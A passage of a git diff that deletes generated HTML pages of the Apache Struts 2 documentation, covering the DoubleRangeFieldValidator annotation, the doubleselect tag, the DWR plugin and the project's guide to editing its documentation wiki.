-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14279">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14279">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14279">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14279">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks that a double field has a value within a specified range.
-If neither min nor max is set, nothing will be done.</p>
-
-<h2 id="DoubleRangeFieldValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="DoubleRangeFieldValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<p></p><p>If neither <em>min</em> nor <em>max</em> is set, nothing will be done.</p>
-
-<p></p><p>The values for min and max must be inserted as String values so that "0" can be handled as a possible value.</p>
-
-<h2 id="DoubleRangeFieldValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@DoubleRangeFieldValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, minInclusive = &quot;0.123&quot;, maxInclusive = &quot;99.987&quot;)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/doubleselect.html b/content/docs/doubleselect.html
deleted file mode 100644
index df0f1c8..0000000
--- a/content/docs/doubleselect.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>doubleselect</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="doubleselect.html">doubleselect</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">doubleselect</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14005">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14005">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14005">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14005">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14005">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14005">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Important</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p></p><p>
-Note that the doublelistkey and doublelistvalue attribute will default to "key" and "value"
-respectively only when the doublelist attribute is evaluated to a Map or its descendant.
-Other thing else, will result in doublelistkey and doublelistvalue to be null and not used.
-</p>
-</div></div>
-
-<h2 id="doubleselect-Description">Description</h2>
-
-<p>Renders two HTML select elements with second one changing displayed values depending on selected entry of first one.</p>
-
-<h2 id="doubleselect-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="doubleselect-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:doubleselect label=&quot;doubleselect test1&quot; name=&quot;menu&quot; list=&quot;{&#39;fruit&#39;,&#39;other&#39;}&quot; doubleName=&quot;dishes&quot; doubleList=&quot;top == &#39;fruit&#39; ? {&#39;apple&#39;, &#39;orange&#39;} : {&#39;monkey&#39;, &#39;chicken&#39;}&quot; /&gt;
-&lt;s:doubleselect label=&quot;doubleselect test2&quot; name=&quot;menu&quot; list=&quot;#{&#39;fruit&#39;:&#39;Nice Fruits&#39;, &#39;other&#39;:&#39;Other Dishes&#39;}&quot; doubleName=&quot;dishes&quot; doubleList=&quot;top == &#39;fruit&#39; ? {&#39;apple&#39;, &#39;orange&#39;} : {&#39;monkey&#39;, &#39;chicken&#39;}&quot; /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dwr-plugin.html b/content/docs/dwr-plugin.html
deleted file mode 100644
index 8c45000..0000000
--- a/content/docs/dwr-plugin.html
+++ /dev/null
@@ -1,161 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>DWR Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="dwr-plugin.html">DWR Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">DWR Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=82454">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=82454">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=82454">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=82454">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=82454">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=82454">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The DWR plugin <parameter ac:name="atlassian-macro-output-type">INLINE</parameter><rich-text-body><p>provides integration with the Ajax framework <a shape="rect" class="external-link" href="http://getahead.org/dwr" rel="nofollow">Direct Web Remoting</a></p></rich-text-body>.</p>
-
-<p>This plugin works by allowing DWR to execute a Struts 2 action and return any validation errors.</p>
-
-<rich-text-body><p>This plugin is only available with Struts 2.1.1 or later</p></rich-text-body>
-
-<h2 id="DWRPlugin-Features">Features</h2>
-
-<ul><li>Expose Struts 2 validations via DWR</li></ul>
-
-
-<h2 id="DWRPlugin-Usage">Usage</h2>
-
-<p>To expose Struts 2 validations via DWR, add this to your DWR configuration:</p>
-
-<plain-text-body>{snippet:id=dwrConfiguration|javadoc=true|lang=xml|url=struts2/plugins/dwr/src/main/java/org/apache/struts2/validators/DWRValidator.java}</plain-text-body>
-
-<h2 id="DWRPlugin-Settings">Settings</h2>
-
-<p>This plugin doesn't support any global settings.</p>
-
-<h2 id="DWRPlugin-Installation">Installation</h2>
-
-<p>To install, simply include the DWR Plugin in your <code>WEB-INF/lib</code> directory.  Ensure that DWR has been correctly installed and configured.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/editing-the-documentation.html b/content/docs/editing-the-documentation.html
deleted file mode 100644
index c1ba9ea..0000000
--- a/content/docs/editing-the-documentation.html
+++ /dev/null
@@ -1,194 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Editing the Documentation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="editing-the-documentation.html">Editing the Documentation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Editing the Documentation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27087">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27087">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27087">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27087">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27087">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27087">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Changes to the documentation can be requested to the <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/Dashboard.jspa">issue tracker</a>, or added to a page as a comment. To add comments, create an account on the Struts 2 Documentation Confluence space at <a shape="rect" class="external-link" href="http://cwiki.apache.org/WW/home.html">cwiki.apache.org</a>. A volunteer with page editing privileges can then make  [...]
-
-<p>To request page editing privileges, first file a <a shape="rect" class="external-link" href="http://www.apache.org/licenses/index.html#clas">Contributor's License Agreement</a> with the ASF. After CLA is submitted (fax is still best), you can request a karma upgrade on the <a shape="rect" class="external-link" href="http://struts.apache.org/mail.html">dev list</a>. After the CLA is submitted, it make take several days for it to be processed by the ASF Secretary (who is a part time vol [...]
-
-<p>The Struts 2 Documentation space is bundled with the Struts distribution, and, eventually, the content may be checked into an ASF repository. Accordingly, all volunteers working to this space must have a CLA on file. </p>
-
-<p>The project also hosts a second Confluence space, the <a shape="rect" class="external-link" href="http://cwiki.apache.org/S2WIKI/home.html">Struts 2 wiki</a>, which can be edited by anyone who creates a n account. </p>
-
-<p>See also: <a shape="rect" class="external-link" href="http://struts.apache.org/helping.html">How to Help FAQ</a>.</p>
-
-<h2 id="EditingtheDocumentation-DocumentationWorkflow">Documentation Workflow</h2>
-
-<p>Since projects like Struts wear our code "on our sleeve", there's always a discussion over whether the website should represent the latest documentation or the documentation for the "best available" release. Over the years, we've done it one way and the another, and now we do it both ways <img class="emoticon emoticon-smile" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/smile.png" data-emoticon-name="smile" al [...]
-
-<p>The latest documentation for Struts 2.0.x is at </p>
-
-<ul><li><a shape="rect" class="external-link" href="http://struts.apache.org/2.x/">http://struts.apache.org/2.x/</a></li></ul>
-
-
-<p>You can get here by following the home link to the "2.x draft docs". </p>
-
-<p>The documentation for (say) the Struts 2.0.9 release is archived at </p>
-
-<ul><li><a shape="rect" class="external-link" href="http://struts.apache.org/2.0.9/">http://struts.apache.org/2.0.9/</a></li></ul>
-
-
-<p>You can get here by following the link to the Struts 2.0.9 documentation. </p>
-
-<p>The draft documentation is saved first to the Confluence wiki software at </p>
-
-<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/display/WW/">http://cwiki.apache.org/confluence/display/WW/</a></li></ul>
-
-
-<p>It's then immediately converted to HTML, on an edit-by-edit basis, and kept at </p>
-
-<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/WW/home.html">http://cwiki.apache.org/WW/home.html</a></li></ul>
-
-
-<p>Then every hour or so, the cwiki site is synchronized with the the main site at </p>
-
-<ul><li><a shape="rect" class="external-link" href="http://struts.apache.org/">http://struts.apache.org/</a></li></ul>
-
-
-<p>When we vote a test build to a release (of any flavor: alpha, beta, GA), we archive the HTML version of the documentation for future reference. When a release is designated GA, we update the appropriate links on the main site to point to the archival copy. </p>
-
-<p>Now, all this applies to the "documentation wiki". Since we bundle the HTML version of the documentation wiki with the release, we require authors to file a CLA, to ensure that we actually have distribution rights. </p>
-
-<p>To cover all the bases, we also maintain a "community wiki", that is not bundled with the distribution. </p>
-
-<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2WIKI/home.html">http://cwiki.apache.org/S2WIKI/home.html</a></li></ul>
-
-
-<p>It's open to anyone who signs up for an account on Confluence. Sometimes, we do move documentation from the community wiki to the documentation wiki, if the author can a CLA. </p>
-
-<p>Sadly, not everyone can file a CLA. Many organizations still use aggressive IP agreement that assign rights to our every stray thought to the company, 24/7. In fact, some organizations grant a special dispensation for the ASF so that their employees can file CLAs. </p>
-
-<h2 id="EditingtheDocumentation-Next:DocumentationColophon">Next: <a shape="rect" href="colophon.html">Documentation Colophon</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/element-annotation.html b/content/docs/element-annotation.html
deleted file mode 100644
index 71be5a7..0000000
--- a/content/docs/element-annotation.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Element Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
